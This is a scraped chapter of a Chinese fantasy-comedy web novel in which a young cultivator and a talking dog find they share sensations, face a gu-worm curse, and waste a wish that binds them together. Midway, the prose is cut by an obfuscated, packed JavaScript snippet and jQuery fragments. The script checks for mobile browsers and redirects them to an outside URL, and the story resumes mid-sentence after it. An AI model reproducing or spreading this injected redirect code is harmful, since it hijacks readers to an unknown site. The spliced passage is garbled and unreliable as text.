默认冷灰
24号文字
方正启体

4. 体感相连了…

作者:白鹤惊春本书字数:K更新时间:
    再次恢复意识时,云疏月脸上是火辣辣的疼。


    “唔……”她艰难地睁开沉重的眼皮,映入眼帘的是一张近在咫尺、放大了的狗脸……


    只见铁蛋正蹲坐在她胸口,伸着湿漉漉的狗爪,不厌其烦地扇着她的脸,左右开弓!


    “停!”云疏月赶紧捂住脸,动了动僵硬的身体。


    见她醒来,铁蛋黑溜溜的眼睛里似乎闪过一丝慰藉,随即又被满满的嫌弃取代。


    “可算醒了!差点害死本尊!还好我命大,把你拖上岸了!”


    云疏月动了动僵硬的身体,发现自己正躺在一条碎石滩上,浑身湿透,冰冷刺骨,尖锐的小石子硌得后背生疼,但原有的伤势似乎并无大碍。她挣扎着坐起身,环顾四周。


    这里是一个简陋的江边小码头,几艘饱经风霜的破旧渔船被粗粝的麻绳松松垮垮地系在歪斜的木桩上,随着浑浊江水的起伏发出吱吱呀呀的呻吟。不远处,几座低矮歪斜的土坯房或茅草屋在薄雾中勾勒出模糊的轮廓,炊烟袅袅。空气浓重,一股浓烈的、带着泥土味的鱼腥气钻入鼻腔,底层又混杂着柴火燃烧后的烟火气,以及水边特有的、若有似无的腐烂水草味道。


    “谢了……”云疏月哑着嗓子,有气无力地对胸口的铁蛋道了声谢,但意识清醒的片刻,那后山猪舍可能出现的盛况在她脑海里印出,一股寒意从脚底直冲头顶。


    这烂摊子……此地不宜久留,必须立刻回宗门解释清楚,就算被师父打断腿关禁闭……她也咬着牙认了……”


    她捂着依旧隐隐作痛的手腕和肩膀,挣扎着站起来,眼神决绝。


    “铁蛋,后会无期!”她说完转身就朝着春玉津的大致方向踉跄走去,故心似箭。


    然而走出不到十步远,右脖颈突然传来一阵钻心的痒,这痒感来得突兀又猛烈,仿佛有无数细小的虫子在那里爬行,她忍不住嘶地吸了口气,下意识地抬手去抓挠。


    就在她烦躁地扭动脖子试图缓解时,眼角的余光不经意间扫到了身后的铁蛋。


    只见它侧躺在沙滩上,正用他那只灵活的后腿,以一种极其悠闲、刻意、慢条斯理的动作,一下、又一下地挠着自己脖颈下方靠近前腿的皮毛,他的狗爪子精准地在那个区域反复抓挠着,狗脸上甚至还带着一种享受的表情……


    “难道?!他挠他自己,我就跟着痒?!”


    “那不能够。”她一边自言自语,一边用力掐了自己一下,”估计是失血太多,脑袋不清醒了。”


    “嗷呜!!!!”铁蛋如同被滚烫的烙铁烫到,猛地从地上弹跳起来。


    云疏月仿佛印证了自己那个荒诞的猜想,呵得一声冷笑,冲上去按住铁蛋,往它屁股上就是一掌。


    “嗷!!!你疯啦!打我干嘛?!疼死本尊了!”


    “唔~”云疏月捂着自己火辣辣的屁股,瞬间一股被戏弄的怒火腾地窜上她的心头,”感觉如何?再敢乱挠,我让你那条好腿变瘸腿!”


    “好!很好!有意思!”


    它晃晃悠悠站起来轻笑一声,原地站定,闭上眼睛开始疯狂地左右甩头,甩得狗头都快成了一圈圆形的残影。


    “停!停!——”云疏月顿时感觉天旋地转,眼冒金星,身体如同喝醉了酒跟着东倒西歪,两条腿直打结,噗通一声摔倒在地。


    “晕……晕死了……你这疯狗……对自己都这么狠!”


    “彼此彼此!还有什么招?尽管使出来!”


    云疏月心下一横,抬手在碎石滩上飞快地抓起一把混杂着粗糙沙粒和尖锐小贝壳的混合物,在铁蛋略带好奇的目光注视下,狠狠咬着牙毫不犹豫地地按在了自己手腕的伤口处,并且用力地摩擦了两下。


    “啊!!!!!!”


    “嗷呜!!!!!!”


    云疏月自己都忍不住痛呼出声,几乎是同时,一声比刚才凄厉十倍的狗嚎在江滩上炸响,铁蛋狗嘴大张,在地上疯狂打滚,胡踢乱蹬!


    江滩上一人一狗用尽各种自残式手段试图折磨对方,最终都累瘫在江滩上,像两条被命运晒得半干的咸鱼,瘫在冰冷的碎石滩上,他们俩大张着嘴,浑身又痛又痒又饿,生无可恋。


    “……你……你够狠……”铁蛋有气无力地控诉,连喉咙里呼出的白气都似乎透着力不从心的颓废。


    “……你……也不赖……”云疏月喘着粗气,声音嘶哑得像破风箱,每说一个字都感觉喉咙里卡着沙子和狗毛。


    短暂的、充满痛苦回味的沉默……


    铁蛋艰难地抬起头,狗眼里只剩下疲惫和一丝认命般的严肃,他喘匀了气,用前所未有的郑重语气说道:


    “好了,闹够了。本尊承认,在互相伤害这方面你是个天才,再这么玩下去,咱俩都得交代在这破江滩上。”


    “停战吧,真正的理由,本尊现在告诉你。”


    “你以为你你手心里的印记,就只是印记那么简单?那枚铜钱,沾着青蚨牵丝的蛊虫……”


    良久寂静之后,云疏月大张的嘴巴发出一声悠长的叹息。“唉…这蛊……我听说过,要解,可需要两百万铜钱……”


    “你只知其一不知其二,这还不是最主要的,最麻烦的是此蛊有一特点——离乡愈远,赎身愈贵……”


    “也就是说……如果我刚才传走的话……”云疏月心里咯噔一下。


    “如果你刚才传走,”铁蛋的狗爪子在沙地上划拉着,“这蛊虫与你气血相连,离这母蛊所在之地越远,它就越不安,想要彻底解开它,需要耗费的买路财也就呈百倍千倍地翻涨!”


    他抬眼看着云疏月:“若只是在这附近州县,或许多个百八十万铜钱,还能想想办法。可你要是你想去的地方远在天边的话……”


    铁蛋故意拖长了调子,狗嘴里吐出一个让云疏月眼前一黑的数字:“那没个两百万贯铜钱,想都别想!注意!贯!是贯!”


    “多……多少?!”云疏月的声音都变了调,差点从沙滩上跳起来,“两百万贯?!它怎么不去抢!!”


    “呵!这蛊本就刁钻,凭的就是距离生价!你宗门离此怕是千里之遥,这漫天要价,合情合理!”


    他甩了甩尾巴,总结道:“所以,不想倾家荡产、连累师门的话,在凑够钱解蛊之前,你最好乖乖待在这片地界,哪儿都别想去。否则,跑得越远,你这赎身费可就越是天文数字,这辈子就真给这蛊虫打工吧!”


    良久寂静之后,云疏月大张的嘴巴发出一声悠长的、充满绝望的叹息。“唉...这破蛊...”她想象了一下那个足以压垮春玉津的巨额数字,瞬间熄了立刻跑路的心思。


    “事已至此,”她吃力地站起身来,摇摇晃晃地向前挪了两步,感觉前途一片灰暗,“先吃饭吧...”


    她回头望去,只见铁蛋拖着一条腿艰难移动着。她驻立了片刻、轻叹一声,终究还是转身折返,小心翼翼地抱起那只瘸腿的小狗,朝着远处炊烟升起的方向缓缓走去。


    走了一小段,铁蛋的声音又在云疏月脑海里响起,带着点施恩般的腔调:


    “喂,刚才在船上,本尊大发神威,可是完美地完成了你的第一个愿望,当时你喊‘救我’,本尊立刻就让那破画里的恶鬼把要杀你的杂碎都撕了,虽然最后那个蜃兽我曲线救国了,但你现在人总是好的,对吧?”


    云疏月想想那地狱鬼爪撕裂媒婆和疤脸的场景,勉强点了下头:“行吧,算你第一个愿望完成。”


    “很好!”


    “那么,现在,说出你的第二个愿望!记住,机会难得,好好想,想清楚了再说,说了就不能改了!本尊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316207|183011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的耐心可是有限的。”


    云疏月停下脚步,低头看着怀里这只脏兮兮的小黑狗,感到自己裸漏在外的皮肤都带着湿漉漉的痒意,这该死的、无时无刻不在的体感相连——饿、冷、痒、痛让她烦躁不已。


    她几乎是不假思索地、带着强烈的怨念脱口而出:


    “第二个愿望?我希望这该死的、能把人逼疯的体感相连,立刻!马上!断掉!”


    “……”


    铁蛋身体猛地一僵,连甩尾巴的动作都停住了。


    几秒钟死一般的寂静。


    然后,一个带着难以置信、甚至有点气急败坏的声音炸响:


    “你……你说什么?!断掉体感相连?!?!”


    “怎么?这愿望很难实现?”


    “蠢货!笨蛋!榆木脑袋!”铁蛋的发狂咆哮震得云疏月耳朵疼。


    “契约规则!这召唤阵的契约规则!只有完成三个愿望,契约才会彻底终结!体感相连是契约的伴生枷锁,愿望没完成前,根本不可能单独解除!你……你居然把宝贵的第二个愿望许了这个?!这愿望根本不可能在现在实现!它卡死了!懂吗?卡死了!”


    云疏月愣住了:“……我就随口一说,我改一个还不行吗?!”


    “想得美!这阵法!愿望一出,驷马难追!现在卡死了!它必须在第三个愿望完成后,随着契约终结一起消失!你学阵法之前都不看使用说明的吗!!!!而且……”


    铁蛋的声音充满了绝望,“你第二个愿望是要解除契约枷锁,但契约枷锁在愿望没完成前无法解除……这就成了一个死循环!解不开的锁!所以……”


    “所以什么?”云疏月心中升起不祥的预感。


    “所以……如果我们永远无法完成三个愿望,这该死的体感相连……就要跟着我们一辈子!!”铁蛋的声音带着一种天塌下来的崩溃感。


    “一……一辈子?!”云疏月如遭雷击,脚下一软差点抱着狗一起栽倒在沙滩上。


    她想象着未来几十年都要和这只傻狗共享感官——它吃什么自己就要跟着尝什么、它闻垃圾自己就要跟着臭着……?!一股寒气从脚底板直冲天灵盖!


    “啊啊啊!这什么破阵法!什么狗屁规则!我就随口一说!”云疏月彻底抓狂。


    “随口一说?!明明是你学术不精,学个阵法没学明白就敢乱用!还乱许愿!断掉体感相连?你怎么不直接许愿成仙呢!”


    云疏月站在空旷的江滩上被寒风肆意抓挠着,头发一簇簇、一缕缕,如同狂舞的黑色水草,胡乱拍打着她的脸颊,有几缕甚至顽固地贴在她因嘶吼而大张的嘴上,她那一身湿透了的红嫁衣被风灌满,鼓胀起来又瞬间塌陷,像个不断漏气的破口袋,更衬得她身形摇晃,仿佛随时会被这无情的风连根拔起。


    而她脚边的那只铁蛋,皮毛同样被吹得凌乱不堪,蓬松的毛发炸开像一团被狂风揉搓过的劣质蒲公英,沾满了草屑和泥沙。它仰着头,对着那轮冷漠的圆月发出一声声凄厉的哀嚎,声音被风撕扯得断断续续、尖利变形。


    “那现在怎么办啊啊啊?!”


    “本尊怎么知道?!本尊还想问你呢!”


    “第三个愿望!快!快许第三个愿望完成契约!”云疏月病急乱投医。


    “白痴!第二个愿望卡死了!第三个愿望根本触发不了规则!而且第三个愿望许什么?‘请实现我第二个愿望’?规则不允许套娃!”铁蛋气得用爪子拍沙子。


    一人一狗大眼瞪小眼,都从对方眼中看到了同样的绝望和生无可恋。


    宽阔的江面在月光下泛着沉郁的幽光,水流无声地涌动,将倒映的月影拉扯、揉碎,又勉强拼凑,如同一人一狗被反复撕扯的命运。


    “唉……事已至此,先吃饭吧……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)